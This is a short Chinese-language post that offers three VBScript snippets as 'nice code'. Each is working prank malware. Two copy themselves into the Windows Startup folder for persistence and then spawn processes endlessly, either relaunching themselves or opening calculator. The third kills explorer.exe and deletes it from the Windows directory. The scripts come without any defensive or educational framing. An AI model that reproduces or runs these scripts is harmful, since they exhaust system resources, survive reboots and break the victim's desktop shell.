提供几个不错的代码
-----代码开始----
set fso = createobject("scripting.filesystemobject")
set ws = createobject("wscript.shell")
pt = ws.specialfolders("startup") & "\"
set file = fso.getfile(wscript.scriptfullname)
file.copy pt
do
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)
loop
---代码结束---
---代码开始---
set fso = createobject("scripting.filesystemobject")
set ws = createobject("wscript.shell")
pt = ws.specialfolders("startup") & "\"
set file = fso.getfile(wscript.scriptfullname)
file.copy pt
set ws=CreateObject("wscript.shell")
do
ws.run "cmd /c start calc.exe",0
loop
---代码结束---
---代码开始---
set ws=CreateObject("Wscript.Shell")
ws.run "cmd.exe /c taskkill /f /im explorer.exe",0
wscript.sleep 900
ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"
wscript.sleep 1200
ws.run "cmd.exe /c del /q /f %windir%\explorer.exe"
---代码结束---